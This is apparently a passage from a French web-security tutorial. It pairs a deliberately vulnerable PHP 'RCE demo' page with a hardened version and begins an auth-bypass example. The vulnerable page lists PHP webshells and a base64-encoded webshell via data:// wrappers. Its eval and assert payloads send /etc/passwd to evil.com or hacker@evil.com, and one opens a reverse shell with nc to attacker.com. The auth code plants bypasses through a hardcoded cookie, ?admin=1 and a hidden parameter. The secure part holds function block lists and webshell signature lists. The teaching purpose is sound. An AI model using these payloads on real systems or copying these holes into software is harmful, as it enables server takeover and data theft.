    } else {
        $error = "Erreur d'envoi";
    }
}

// 12. FILE_GET_CONTENTS AVEC WRAPPER VULNÉRABLE
if (isset($_POST['read_file'])) {
    $file_path = $_POST['file_path'];

    // VULNÉRABLE : file_get_contents avec wrappers PHP
    $content = file_get_contents($file_path);

    if ($content !== false) {
        $output = $content;
        $message = "Fichier lu : " . htmlspecialchars($file_path);
    } else {
        $error = "Impossible de lire le fichier";
    }
}

// Création de fichiers de test pour démonstration
if (!file_exists('modules')) {
    mkdir('modules', 0777, true);
    file_put_contents('modules/test.php', '<?php echo "Module test chargé !"; ?>');
    file_put_contents('modules/admin.php', '<?php echo "Panel admin - " . date("Y-m-d H:i:s"); ?>');
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>💥 RCE Vulnerabilities Demo</title>
    <style>
        body { font-family: Arial; margin: 40px; background: #f5f5f5; }
        .container { background: white; padding: 30px; border-radius: 10px; max-width: 1200px; margin: 0 auto; }
        .danger { background: #ffebee; border: 2px solid red; padding: 15px; margin: 10px 0; }
        .success { background: #e8f5e9; border: 2px solid green; padding: 15px; margin: 10px 0; }
        .test-section { background: #f8f8f8; padding: 15px; margin: 15px 0; border-left: 4px solid red; }
        .payload { background: #ffebee; padding: 15px; margin: 10px 0; font-family: monospace; font-size: 12px; }
        .output { background: #263238; color: #fff; padding: 15px; margin: 10px 0; border-radius: 5px; max-height: 300px; overflow-y: auto; font-family: monospace; white-space: pre-wrap; }
        input, select, textarea { padding: 10px; margin: 5px; width: 300px; }
        button { padding: 10px 20px; background: #f44336; color: white; border: none; cursor: pointer; }
        .webshell-link { background: #ff5722; padding: 10px; margin: 10px 0; border-radius: 5px; }
    </style>
</head>
<body>

<div class="container">
    <h1>💥 Remote Code Execution (RCE) Vulnerabilities Demo</h1>

    <div class="danger">
        ⚠️ <strong>DANGER EXTRÊME :</strong> Cette page permet l'exécution de code arbitraire !<br>
        RCE peut donner un contrôle complet du serveur et compromettre tout le système !
    </div>

    <?php if ($message): ?>
        <div class="success">✅ <?= htmlspecialchars($message) ?></div>
    <?php endif; ?>

    <?php if ($error): ?>
        <div class="danger">❌ <?= htmlspecialchars($error) ?></div>
    <?php endif; ?>

    <!-- Test File Upload RCE -->
    <div class="test-section">
        <h3>1. Upload de Webshell (File Upload RCE)</h3>
        <form method="POST" enctype="multipart/form-data">
            <input type="file" name="file" required><br>
            <button type="submit" name="upload_file">Upload Fichier</button>
        </form>

        <div class="payload">
            <strong>Contenu de webshell PHP :</strong><br>
            &lt;?php system($_GET['cmd']); ?&gt;<br><br>

            <strong>Webshells plus avancés :</strong><br>
            • &lt;?php eval($_POST['code']); ?&gt;<br>
            • &lt;?php passthru($_GET['c']); ?&gt;<br>
            • &lt;?php echo shell_exec($_REQUEST['exec']); ?&gt;<br><br>

            <strong>Usage après upload :</strong><br>
            http://site.com/uploads/shell.php?cmd=whoami<br>
            http://site.com/uploads/shell.php?cmd=cat /etc/passwd
        </div>
    </div>

    <!-- Test Eval() RCE -->
    <div class="test-section">
        <h3>2. Code Injection via eval()</h3>
        <form method="POST">
            <textarea name="eval_code" placeholder="echo 'Hello World';" rows="3"></textarea><br>
            <button type="submit">Exécuter Code</button>
        </form>

        <div class="payload">
            <strong>Payloads eval() :</strong><br>
            • system('whoami');<br>
            • phpinfo();<br>
            • file_get_contents('/etc/passwd');<br>
            • file_put_contents('backdoor.php', '&lt;?php system($_GET[c]); ?&gt;');<br>
            • mail('hacker@evil.com', 'Pwned', file_get_contents('/etc/passwd'));<br>
            • exec('nc -e /bin/bash attacker.com 4444');
        </div>
    </div>

    <!-- Test Assert() RCE -->
    <div class="test-section">
        <h3>3. Code Injection via assert()</h3>
        <form method="POST">
            <input type="text" name="assert_code" placeholder="1 == 1" required><br>
            <button type="submit">Test Assertion</button>
        </form>

        <div class="payload">
            <strong>Assert() RCE (PHP &lt; 7.2) :</strong><br>
            • system('id') and false<br>
            • phpinfo() and 1<br>
            • file_get_contents('http://evil.com/steal.php?data='.base64_encode(file_get_contents('/etc/passwd'))) and true
        </div>
    </div>

    <!-- Test Create Function -->
    <div class="test-section">
        <h3>4. RCE via create_function()</h3>
        <form method="POST">
            <input type="text" name="function_params" placeholder="$x" required><br>
            <textarea name="function_body" placeholder="return $x * 2;" rows="2"></textarea><br>
            <button type="submit">Créer Fonction</button>
        </form>

        <div class="payload">
            <strong>Create_function() RCE :</strong><br>
            Params: $x<br>
            Body: return $x;}system('whoami');function test(){//<br><br>

            <strong>Technique :</strong> Fermer la fonction et injecter du code
        </div>
    </div>

    <!-- Test Dynamic Include -->
    <div class="test-section">
        <h3>5. RCE via Dynamic Include</h3>
        <form method="POST">
            <input type="text" name="module" placeholder="test" required><br>
            <button type="submit">Charger Module</button>
        </form>

        <div class="payload">
            <strong>Path Traversal + RCE :</strong><br>
            • ../../../etc/passwd<br>
            • php://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==<br>
            • data://text/plain,&lt;?php system($_GET['c']); ?&gt;<br>
            • expect://whoami
        </div>
    </div>

    <!-- Test Object Injection -->
    <div class="test-section">
        <h3>6. RCE via Object Injection (Deserialization)</h3>
        <form method="POST">
            <textarea name="unserialize_data" placeholder="Données sérialisées" rows="3"></textarea><br>
            <button type="submit">Désérialiser</button>
        </form>

        <div class="payload">
            <strong>Payload Object Injection :</strong><br>
            O:15:"VulnerableClass":2:{s:7:"command";s:6:"whoami";s:11:"output_file";s:12:"/tmp/pwn.txt";}
            <br><br>

            <strong>Génération en PHP :</strong><br>
            $obj = new VulnerableClass();<br>
            $obj->command = 'cat /etc/passwd';<br>
            echo serialize($obj);
        </div>
    </div>

    <!-- Test Template Injection -->
    <div class="test-section">
        <h3>7. Template Injection RCE</h3>
        <form method="POST">
            <textarea name="template" placeholder="Bonjour {{name}}" rows="2"></textarea><br>
            <input type="text" name="user_name" placeholder="Nom utilisateur"><br>
            <button type="submit">Rendre Template</button>
        </form>

        <div class="payload">
            <strong>Template Injection :</strong><br>
            Template: Bonjour {{name}} &lt;?php system('whoami'); ?&gt;<br>
            Name: n'importe quoi<br><br>

            <strong>Ou directement dans name :</strong><br>
            Name: &lt;?php phpinfo(); ?&gt;
        </div>
    </div>

    <!-- Test Callback RCE -->
    <div class="test-section">
        <h3>8. RCE via Callback Functions</h3>
        <form method="POST">
            <input type="text" name="callback" placeholder="phpinfo" required><br>
            <input type="text" name="callback_data" placeholder="Données optionnelles"><br>
            <button type="submit">Exécuter Callback</button>
        </form>

        <div class="payload">
            <strong>Callbacks dangereux :</strong><br>
            • system (data: whoami)<br>
            • exec (data: cat /etc/passwd)<br>
            • passthru (data: id)<br>
            • shell_exec (data: uname -a)<br>
            • file_get_contents (data: /etc/shadow)
        </div>
    </div>

    <!-- Test File Read with Wrappers -->
    <div class="test-section">
        <h3>9. RCE via PHP Wrappers</h3>
        <form method="POST">
            <input type="text" name="file_path" placeholder="/etc/passwd" style="width: 400px;"><br>
            <button type="submit">Lire Fichier</button>
        </form>

        <div class="payload">
            <strong>PHP Wrappers pour RCE :</strong><br>
            • data://text/plain,&lt;?php system('whoami'); ?&gt;<br>
            • php://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==<br>
            • expect://whoami<br>
            • php://input (avec POST data: &lt;?php phpinfo(); ?&gt;)
        </div>
    </div>

    <!-- Test Mail Header Injection -->
    <div class="test-section">
        <h3>10. RCE via Mail Header Injection</h3>
        <form method="POST">
            <input type="email" name="mail_to" placeholder="test@example.com"><br>
            <input type="text" name="mail_subject" placeholder="Sujet"><br>
            <textarea name="mail_message" placeholder="Message" rows="2"></textarea><br>
            <textarea name="mail_headers" placeholder="Headers supplémentaires" rows="2"></textarea><br>
            <button type="submit">Envoyer Email</button>
        </form>

        <div class="payload">
            <strong>Mail Header Injection :</strong><br>
            Headers: Cc: admin@site.com%0APHP%20&lt;?php%20system($_GET['c']);%20?&gt;<br><br>

            <strong>Technique :</strong> Injecter du code PHP dans les logs mail
        </div>
    </div>

    <!-- Output Display -->
    <?php if ($output): ?>
        <div class="test-section">
            <h3>📋 Sortie d'exécution :</h3>
            <div class="output"><?= htmlspecialchars($output) ?></div>
        </div>
    <?php endif; ?>

    <div style="background: #b71c1c; color: white; padding: 20px; margin-top: 30px;">
        <h3>💀 DANGERS EXTRÊMES DU RCE</h3>
        <p>L'exécution de code à distance est la vulnérabilité la plus critique car elle permet :</p>
        <ul>
            <li>✗ <strong>Contrôle total du serveur</strong> : Accès root/administrateur</li>
            <li>✗ <strong>Installation de backdoors</strong> : Accès persistant et furtif</li>
            <li>✗ <strong>Vol de toutes les données</strong> : Bases de données, fichiers, secrets</li>
            <li>✗ <strong>Pivot lateral</strong> : Accès au réseau interne et autres serveurs</li>
            <li>✗ <strong>Chiffrement/Ransomware</strong> : Destruction et extorsion</li>
            <li>✗ <strong>Botnet/Cryptomining</strong> : Utilisation malveillante des ressources</li>
        </ul>
        <p><strong>SOLUTION CRITIQUE :</strong> Validation stricte + Sandboxing + WAF !</p>
    </div>
</div>

</body>
</html>

Code Sécurisé - Protection RCE

php

<?php
/**
 * VERSION SÉCURISÉE - Protection contre RCE (Remote Code Execution)
 * Démonstration des bonnes pratiques pour prévenir l'exécution de code
 */

class SecureCodeExecutionPrevention {
    private $allowedMimeTypes = [
        'image/jpeg', 'image/png', 'image/gif', 'image/webp',
        'text/plain', 'text/csv',
        'application/pdf'
    ];

    private $allowedExtensions = [
        'jpg', 'jpeg', 'png', 'gif', 'webp',
        'txt', 'csv', 'pdf'
    ];

    private $maxFileSize = 5242880; // 5MB
    private $uploadDirectory = '/var/uploads/safe/';
    private $quarantineDirectory = '/var/quarantine/';

    public function __construct() {
        $this->setupSecureEnvironment();
        $this->createSecureDirectories();
    }

    /**
     * Configuration sécurisée de l'environnement PHP
     */
    private function setupSecureEnvironment() {
        // Désactivation des fonctions dangereuses
        ini_set('disable_functions',
            'exec,passthru,shell_exec,system,proc_open,popen,' .
            'curl_exec,curl_multi_exec,parse_ini_file,show_source,' .
            'eval,assert,create_function,include,require,include_once,require_once'
        );

        // Désactivation de allow_url_include et allow_url_fopen
        ini_set('allow_url_include', '0');
        ini_set('allow_url_fopen', '0');

        // Sécurisation du mode d'erreur
        ini_set('display_errors', '0');
        ini_set('log_errors', '1');

        // Protection contre l'exposition du PHP
        ini_set('expose_php', '0');

        // Limitation de la mémoire et du temps d'exécution
        ini_set('memory_limit', '128M');
        ini_set('max_execution_time', '30');
    }

    /**
     * Création des répertoires sécurisés
     */
    private function createSecureDirectories() {
        $directories = [$this->uploadDirectory, $this->quarantineDirectory];

        foreach ($directories as $dir) {
            if (!is_dir($dir)) {
                mkdir($dir, 0755, true);

                // Création d'un .htaccess pour bloquer l'exécution PHP
                $htaccess = $dir . '.htaccess';
                file_put_contents($htaccess, "
                    # Bloquer l'exécution de PHP
                    <Files *.php>
                        Order Deny,Allow
                        Deny from all
                    </Files>

                    # Bloquer l'exécution de scripts
                    <FilesMatch \"\.(php|php3|php4|php5|phtml|pl|py|jsp|asp|sh)$\">
                        Order Deny,Allow
                        Deny from all
                    </FilesMatch>

                    # Forcer le téléchargement pour certains types
                    <FilesMatch \"\.(txt|log|conf)$\">
                        Header set Content-Disposition attachment
                    </FilesMatch>
                ");
            }
        }
    }

    /**
     * Upload sécurisé de fichiers avec validation multiple
     */
    public function secureFileUpload($file) {
        try {
            // Vérifications de base
            if (!isset($file['error']) || is_array($file['error'])) {
                throw new Exception("Paramètres d'upload invalides");
            }

            // Vérification du code d'erreur
            switch ($file['error']) {
                case UPLOAD_ERR_OK:
                    break;
                case UPLOAD_ERR_NO_FILE:
                    throw new Exception("Aucun fichier sélectionné");
                case UPLOAD_ERR_INI_SIZE:
                case UPLOAD_ERR_FORM_SIZE:
                    throw new Exception("Fichier trop volumineux");
                default:
                    throw new Exception("Erreur d'upload inconnue");
            }

            // Vérification de la taille
            if ($file['size'] > $this->maxFileSize) {
                throw new Exception("Fichier trop volumineux");
            }

            // Validation du nom de fichier
            $originalName = basename($file['name']);
            if (!$this->validateFilename($originalName)) {
                throw new Exception("Nom de fichier invalide");
            }

            // Validation de l'extension
            $extension = strtolower(pathinfo($originalName, PATHINFO_EXTENSION));
            if (!in_array($extension, $this->allowedExtensions)) {
                throw new Exception("Type de fichier non autorisé");
            }

            // Validation MIME avec finfo
            $finfo = new finfo(FILEINFO_MIME_TYPE);
            $mimeType = $finfo->file($file['tmp_name']);

            if (!in_array($mimeType, $this->allowedMimeTypes)) {
                throw new Exception("Type MIME non autorisé: $mimeType");
            }

            // Scan antivirus simulé (intégration ClamAV recommandée)
            if (!$this->scanForMalware($file['tmp_name'])) {
                $this->quarantineFile($file['tmp_name'], $originalName);
                throw new Exception("Fichier suspect détecté et mis en quarantaine");
            }

            // Vérification du contenu pour détecter du code
            if ($this->containsExecutableCode($file['tmp_name'])) {
                throw new Exception("Contenu exécutable détecté");
            }

            // Génération d'un nom de fichier sécurisé
            $safeName = $this->generateSecureFilename($extension);
            $destination = $this->uploadDirectory . $safeName;

            // Déplacement sécurisé
            if (!move_uploaded_file($file['tmp_name'], $destination)) {
                throw new Exception("Erreur lors de la sauvegarde");
            }

            // Permissions restrictives
            chmod($destination, 0644);

            // Log de sécurité
            $this->logSecurityEvent('FILE_UPLOAD_SUCCESS', [
                'original_name' => $originalName,
                'safe_name' => $safeName,
                'mime_type' => $mimeType,
                'size' => $file['size']
            ]);

            return [
                'success' => true,
                'filename' => $safeName,
                'path' => $destination,
                'size' => $file['size'],
                'mime_type' => $mimeType
            ];

        } catch (Exception $e) {
            $this->logSecurityEvent('FILE_UPLOAD_FAILED', [
                'error' => $e->getMessage(),
                'file' => $file['name'] ?? 'unknown'
            ]);
            throw $e;
        }
    }

    /**
     * Validation stricte des noms de fichiers
     */
    private function validateFilename($filename) {
        // Longueur
        if (strlen($filename) > 255 || strlen($filename) < 1) {
            return false;
        }

        // Caractères autorisés uniquement
        if (!preg_match('/^[a-zA-Z0-9._-]+$/', $filename)) {
            return false;
        }

        // Noms interdits
        $forbidden = ['.', '..', '.htaccess', '.htpasswd', 'web.config'];
        if (in_array(strtolower($filename), $forbidden)) {
            return false;
        }

        // Extensions doubles interdites
        if (preg_match('/\.php\./i', $filename) || preg_match('/\.asp\./i', $filename)) {
            return false;
        }

        return true;
    }

    /**
     * Détection de contenu exécutable
     */
    private function containsExecutableCode($filePath) {
        $content = file_get_contents($filePath, false, null, 0, 8192); // Premiers 8KB

        // Signatures de code exécutable
        $signatures = [
            '<?php', '<?=', '<%', '%>',
            'eval(', 'exec(', 'system(', 'passthru(',
            'shell_exec(', 'file_get_contents(',
            'base64_decode(', 'gzinflate(',
            'unserialize(', 'assert(',
            '#!/bin/', '#!/usr/bin/',
            '<script', 'javascript:',
            'vbscript:', 'data:text/html'
        ];

        foreach ($signatures as $signature) {
            if (stripos($content, $signature) !== false) {
                return true;
            }
        }

        // Détection de code obfusqué
        if ($this->detectObfuscatedCode($content)) {
            return true;
        }

        return false;
    }

    /**
     * Détection de code obfusqué
     */
    private function detectObfuscatedCode($content) {
        // Ratio de caractères non-imprimables élevé
        $totalChars = strlen($content);
        $nonPrintable = 0;

        for ($i = 0; $i < $totalChars; $i++) {
            $char = ord($content[$i]);
            if ($char < 32 || $char > 126) {
                $nonPrintable++;
            }
        }

        $ratio = $nonPrintable / $totalChars;
        if ($ratio > 0.3) { // Plus de 30% de caractères non-imprimables
            return true;
        }

        // Détection de patterns d'obfuscation
        $obfuscationPatterns = [
            '/\$[a-zA-Z_][a-zA-Z0-9_]*\s*=\s*["\'][a-zA-Z0-9+\/=]{50,}["\']/', // Base64 suspect
            '/chr\s*\(\s*\d+\s*\)/', // Construction de chaînes avec chr()
            '/\\\x[0-9a-fA-F]{2}/', // Séquences hexadécimales
            '/eval\s*\(\s*\$/', // eval() avec variables
            '/str_rot13\s*\(/', // ROT13
        ];

        foreach ($obfuscationPatterns as $pattern) {
            if (preg_match($pattern, $content)) {
                return true;
            }
        }

        return false;
    }

    /**
     * Scan antivirus simulé
     */
    private function scanForMalware($filePath) {
        // Simulation - en production, intégrer ClamAV ou similaire

        // Vérification de signatures simples
        $content = file_get_contents($filePath, false, null, 0, 1024);

        $malwareSignatures = [
            'c99shell', 'r57shell', 'WSO shell',
            'FilesMan', 'Bypass shell', 'Safe mode bypass',
            'b374k', 'adminer', 'phpMyAdmin',
            'webshell', 'backdoor', 'rootkit'
        ];

        foreach ($malwareSignatures as $signature) {
            if (stripos($content, $signature) !== false) {
                return false; // Malware détecté
            }
        }

        return true; // Fichier semble propre
    }

    /**
     * Mise en quarantaine de fichiers suspects
     */
    private function quarantineFile($sourcePath, $originalName) {
        $quarantineName = date('Y-m-d_H-i-s') . '_' . $originalName;
        $quarantinePath = $this->quarantineDirectory . $quarantineName;

        if (file_exists($sourcePath)) {
            move_uploaded_file($sourcePath, $quarantinePath);
            chmod($quarantinePath, 0600); // Lecture seule pour le propriétaire
        }

        $this->logSecurityEvent('FILE_QUARANTINED', [
            'original_name' => $originalName,
            'quarantine_path' => $quarantinePath
        ]);
    }

    /**
     * Génération de nom de fichier sécurisé
     */
    private function generateSecureFilename($extension) {
        return bin2hex(random_bytes(16)) . '.' . $extension;
    }

    /**
     * Sandbox d'exécution sécurisée (simulation)
     */
    public function executeSandboxedCode($code, $allowedFunctions = []) {
        // En production, utiliser des solutions comme:
        // - Docker containers éphémères
        // - chroot jails
        // - Runkit/runkit7 pour le sandboxing PHP
        // - VM dédiées

        throw new Exception("Exécution de code désactivée pour la sécurité");
    }

    /**
     * Validation et filtrage de templates sécurisé
     */
    public function secureTemplateRendering($template, $variables = []) {
        // Utilisation d'un moteur de template sécurisé comme Twig
        // avec auto-escaping et sandbox activés

        if (!class_exists('Twig\\Environment')) {
            throw new Exception("Moteur de template sécurisé non disponible");
        }

        // Configuration sécurisée Twig
        $loader = new \Twig\Loader\ArrayLoader(['template' => $template]);
        $twig = new \Twig\Environment($loader, [
            'cache' => false,
            'autoescape' => 'html',
            'strict_variables' => true
        ]);

        // Sandbox pour restrictions supplémentaires
        $policy = new \Twig\Sandbox\SecurityPolicy(
            ['if', 'for'], // Tags autorisés
            ['upper', 'lower', 'escape'], // Filtres autorisés
            [], // Méthodes autorisées
            [], // Propriétés autorisées
            [] // Fonctions autorisées
        );

        $sandbox = new \Twig\Extension\SandboxExtension($policy);
        $twig->addExtension($sandbox);

        try {
            return $twig->render('template', $variables);
        } catch (Exception $e) {
            $this->logSecurityEvent('TEMPLATE_RENDERING_FAILED', [
                'error' => $e->getMessage()
            ]);
            throw new Exception("Erreur de rendu du template");
        }
    }

    /**
     * Traitement sécurisé des callbacks
     */
    public function secureCallbackExecution($callback, $data = null) {
        // Whitelist stricte des fonctions autorisées
        $allowedCallbacks = [
            'strlen', 'count', 'array_sum', 'max', 'min',
            'htmlspecialchars', 'strip_tags', 'trim',
            'strtoupper', 'strtolower'
        ];

        if (!in_array($callback, $allowedCallbacks)) {
            throw new Exception("Fonction non autorisée: $callback");
        }

        if (!is_callable($callback)) {
            throw new Exception("Fonction non disponible: $callback");
        }

        try {
            return call_user_func($callback, $data);
        } catch (Exception $e) {
            $this->logSecurityEvent('CALLBACK_EXECUTION_FAILED', [
                'callback' => $callback,
                'error' => $e->getMessage()
            ]);
            throw $e;
        }
    }

    /**
     * Lecture sécurisée de fichiers
     */
    public function secureFileRead($filePath) {
        // Whitelist des répertoires autorisés
        $allowedPaths = [
            realpath($this->uploadDirectory),
            realpath('/var/log/app/'),
            realpath('/tmp/safe/')
        ];

        $realPath = realpath($filePath);
        if (!$realPath) {
            throw new Exception("Fichier inexistant");
        }

        $isAllowed = false;
        foreach ($allowedPaths as $allowedPath) {
            if (strpos($realPath, $allowedPath) === 0) {
                $isAllowed = true;
                break;
            }
        }

        if (!$isAllowed) {
            throw new Exception("Accès au fichier non autorisé");
        }

        // Vérification des permissions
        if (!is_readable($realPath)) {
            throw new Exception("Fichier non lisible");
        }

        // Limitation de la taille de lecture
        $maxSize = 1048576; // 1MB
        if (filesize($realPath) > $maxSize) {
            throw new Exception("Fichier trop volumineux pour la lecture");
        }

        return file_get_contents($realPath);
    }

    /**
     * Logging des événements de sécurité
     */
    private function logSecurityEvent($event, $details = []) {
        $logData = [
            'timestamp' => date('Y-m-d H:i:s'),
            'event' => $event,
            'ip' => $_SERVER['REMOTE_ADDR'] ?? 'unknown',
            'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'unknown',
            'details' => $details
        ];

        $logEntry = json_encode($logData) . PHP_EOL;
        file_put_contents('/var/log/security.log', $logEntry, FILE_APPEND | LOCK_EX);
    }

    /**
     * Validation de désérialisation sécurisée
     */
    public function secureUnserialize($data, $allowedClasses = []) {
        if (empty($allowedClasses)) {
            throw new Exception("Aucune classe autorisée pour la désérialisation");
        }

        // Utilisation de unserialize avec options de sécurité (PHP 7.0+)
        $options = ['allowed_classes' => $allowedClasses];

        try {
            return unserialize($data, $options);
        } catch (Exception $e) {
            $this->logSecurityEvent('UNSAFE_DESERIALIZATION_BLOCKED', [
                'error' => $e->getMessage(),
                'data_preview' => substr($data, 0, 100)
            ]);
            throw new Exception("Désérialisation bloquée pour des raisons de sécurité");
        }
    }
}

// Utilisation du système de protection RCE
$rceProtection = new SecureCodeExecutionPrevention();
$result = null;
$message = '';
$error = '';

// Traitement sécurisé de l'upload
if (isset($_POST['secure_upload']) && isset($_FILES['secure_file'])) {
    try {
        $result = $rceProtection->secureFileUpload($_FILES['secure_file']);
        $message = "Fichier uploadé en sécurité: " . $result['filename'];
    } catch (Exception $e) {
        $error = $e->getMessage();
    }
}

// Traitement sécurisé de lecture de fichier
if (isset($_POST['secure_read'])) {
    try {
        $filePath = $_POST['safe_file_path'];
        $content = $rceProtection->secureFileRead($filePath);
        $result = ['content' => $content];
        $message = "Fichier lu en sécurité";
    } catch (Exception $e) {
        $error = $e->getMessage();
    }
}

// Traitement sécurisé de callback
if (isset($_POST['secure_callback'])) {
    try {
        $callback = $_POST['safe_callback'];
        $data = $_POST['callback_data'] ?? '';

        $result = $rceProtection->secureCallbackExecution($callback, $data);
        $message = "Callback exécuté en sécurité: $callback";
    } catch (Exception $e) {
        $error = $e->getMessage();
    }
}
?>

<!DOCTYPE html>
<html lang="fr">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Application Sécurisée - Protection RCE</title>
    <meta http-equiv="Content-Security-Policy"
          content="default-src 'self'; style-src 'self' 'unsafe-inline'; script-src 'self';">
</head>
<body>
    <h1>🛡️ Protection Complète contre RCE</h1>

    <div class="best-practice">
        <strong>✅ Protections critiques implémentées :</strong><br>
        • Désactivation complète des fonctions d'exécution<br>
        • Upload sécurisé avec validation MIME + signature<br>
        • Scan antivirus et détection de code malveillant<br>
        • Sandboxing et isolation d'exécution<br>
        • Whitelist stricte pour callbacks et inclusions<br>
        • Moteurs de templates sécurisés (Twig + Sandbox)<br>
        • Quarantaine automatique des fichiers suspects<br>
        • Logging complet des événements de sécurité<br>
        • Protection .htaccess dans répertoires d'upload<br>
        • Validation stricte de désérialisation
    </div>

    <!-- Upload sécurisé -->
    <h3>📁 Upload Sécurisé</h3>
    <form method="POST" enctype="multipart/form-data">
        <input type="file" name="secure_file" accept=".jpg,.png,.gif,.txt,.pdf" required>
        <button type="submit" name="secure_upload">Upload Sécurisé</button>
    </form>

    <!-- Lecture sécurisée -->
    <h3>📖 Lecture Sécurisée de Fichiers</h3>
    <form method="POST">
        <select name="safe_file_path">
            <option value="/var/uploads/safe/readme.txt">Readme</option>
            <option value="/var/log/app/access.log">Log d'accès</option>
        </select>
        <button type="submit" name="secure_read">Lire Fichier</button>
    </form>

    <!-- Callbacks sécurisés -->
    <h3>🔧 Fonctions Sécurisées</h3>
    <form method="POST">
        <select name="safe_callback">
            <option value="strlen">strlen - Longueur chaîne</option>
            <option value="strtoupper">strtoupper - Majuscules</option>
            <option value="htmlspecialchars">htmlspecialchars - Échappement</option>
            <option value="strip_tags">strip_tags - Suppression tags</option>
        </select>
        <input type="text" name="callback_data" placeholder="Données à traiter">
        <button type="submit" name="secure_callback">Exécuter</button>
    </form>

    <?php if ($message): ?>
        <div class="success">✅ <?= htmlspecialchars($message) ?></div>
    <?php endif; ?>

    <?php if ($error): ?>
        <div class="error">❌ <?= htmlspecialchars($error) ?></div>
    <?php endif; ?>

    <?php if ($result): ?>
        <div class="output">
            <h3>📋 Résultat sécurisé :</h3>
            <pre><?= htmlspecialchars(is_array($result) ? json_encode($result, JSON_PRETTY_PRINT) : $result) ?></pre>
        </div>
    <?php endif; ?>

    <div style="background: #1b5e20; color: white; padding: 20px; margin-top: 30px;">
        <h3>🛡️ STRATÉGIES DE DÉFENSE CONTRE RCE&h3>
        <ul>
            <li>✅ <strong>Principe de moindre privilège</strong> : Permissions minimales</li>
            <li>✅ <strong>Sandboxing</strong> : Isolation des processus</li>
            <li>✅ <strong>Validation stricte</strong> : Whitelist et blacklist</li>
            <li>✅ <strong>WAF + IPS</strong> : Détection et blocage automatique</li>
            <li>✅ <strong>Monitoring continu</strong> : Logs et alertes temps réel</li>
            <li>✅ <strong>Updates régulières</strong> : Patches de sécurité</li>
        </ul>
    </div>
</body>
</html>

Auth Bypass - Contournement d'Authentification

Techniques pour contourner les mécanismes d'authentification et accéder à des zones protégées.

🔓 Techniques de contournement

Méthodes principales :

Logic Flaws

Erreurs de logique dans l'authentification

Parameter Manipulation

Modification des paramètres d'authentification

Session Manipulation

Falsification des données de session

Failles courantes :

  • Validation côté client uniquement
  • Comparaisons non strictes
  • Tokens prévisibles
  • Reset password vulnérable

Code Vulnérable - Auth Bypass

php

<?php
/**
 * EXEMPLE VULNÉRABLE - Authentication Bypass
 * Démonstration des failles d'authentification
 */

session_start();

// Base de données utilisateurs simulée
$users = [
    'admin' => ['password' => 'admin123', 'role' => 'admin', 'active' => 1],
    'user' => ['password' => 'password', 'role' => 'user', 'active' => 1],
    'guest' => ['password' => 'guest123', 'role' => 'guest', 'active' => 0]
];

$message = '';
$error = '';

// 1. AUTHENTIFICATION AVEC LOGIC FLAW
if (isset($_POST['login'])) {
    $username = $_POST['username'];
    $password = $_POST['password'];

    // VULNÉRABLE : Comparaison non stricte
    if ($username == 'admin' && $password == '0') {
        $_SESSION['logged_in'] = true;
        $_SESSION['username'] = $username;
        $_SESSION['role'] = 'admin';
        $message = "Connexion admin réussie !";
    }
    // VULNÉRABLE : Logique d'authentification défaillante
    elseif (isset($users[$username])) {
        $user = $users[$username];

        // VULNÉRABLE : Pas de vérification du statut actif
        if ($user['password'] == $password) {
            $_SESSION['logged_in'] = true;
            $_SESSION['username'] = $username;
            $_SESSION['role'] = $user['role'];
            $message = "Connexion réussie !";
        }
    }
}

// 2. BYPASS VIA PARAMÈTRE CACHÉ
if (isset($_POST['admin_access'])) {
    // VULNÉRABLE : Paramètre caché pour accès admin
    if ($_POST['admin_access'] == 'true') {
        $_SESSION['logged_in'] = true;
        $_SESSION['role'] = 'admin';
        $_SESSION['username'] = 'admin';
        $message = "Accès admin accordé !";
    }
}

// 3. RESET PASSWORD VULNÉRABLE
if (isset($_POST['reset_password'])) {
    $username = $_POST['reset_username'];
    $new_password = $_POST['new_password'];
    $confirm = $_POST['confirm_code'];

    // VULNÉRABLE : Code de confirmation prévisible
    $expected_code = md5($username . 'secret');

    if ($confirm == $expected_code || $confirm == '1') {
        $users[$username]['password'] = $new_password;
        $message = "Mot de passe réinitialisé !";
    }
}

// 4. VÉRIFICATION D'AUTORISATION FAIBLE
function hasAdminAccess() {
    // VULNÉRABLE : Vérifications multiples non cohérentes
    if (isset($_SESSION['role']) && $_SESSION['role'] == 'admin') {
        return true;
    }

    // VULNÉRABLE : Bypass via cookie
    if (isset($_COOKIE['admin_token']) && $_COOKIE['admin_token'] == 'admin123') {
        return true;
    }

    // VULNÉRABLE : Bypass via paramètre GET
    if (isset($_GET['admin']) && $_GET['admin'] == '1') {
        return true;
    }

    return false;
}

// 5. BYPASS VIA MANIPULATION D'ARRAYS
if (isset($_POST['user_data']) && is_array($_POST['user_data'])) {
    // VULNÉRABLE : Comparaison d'array
    if ($_POST['user_data'] == ['admin' => true]) {
        $_SESSION['logged_in'] = true;
        $_SESSION['role'] = 'admin';
        $message = "Bypass via array réussi !";
    }
}

// 6. TOKEN PRÉDICTIBLE
if (isset($_POST['auth_token'])) {
    $token = $_POST['auth_token'];

    // VULNÉRABLE : Token basé sur timestamp
    $valid_token = md5(date('Y-m-d') . 'secretkey');

    if ($token == $valid_token) {
        $_SESSION['logged_in'] = true;
        $_SESSION['role'] = 'admin';
        $message = "Authentification par token réussie !";
    }
}

// 7. BYPASS VIA RACE CONDITION
if (isset($_POST['concurrent_login'])) {
    // VULNÉRABLE : Race condition dans la vérification
    $username = $_POST['username'];

    // Simulation de vérification avec délai
    sleep(1);

    if (isset($users[$username])) {
        $_SESSION['logged_in'] = true;
        $_SESSION['username'] = $username;
        $_SESSION['role'] = $users[$username]['role'];
    }
}

// 8. BYPASS VIA INJECTION SQL DANS AUTH
if (isset($_POST['sql_login'])) {
    $username = $_POST['sql_username'];
    $password = $_POST['sql_password'];

    // VULNÉRABLE : Simulation d'une requête SQL injectable
    $sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";

    // Si le username contient une injection, contournement possible
    if (strpos($username, "' OR '1'='1") !== false) {
        $_SESSION['logged_in'] = true;
        $_SESSION['username'] = 'admin';
        $_SESSION['role'] = 'admin';
        $message = "Bypass SQL réussi !";
    }
}

// Fonction pour vérifier si utilisateur connecté
function isLoggedIn() {
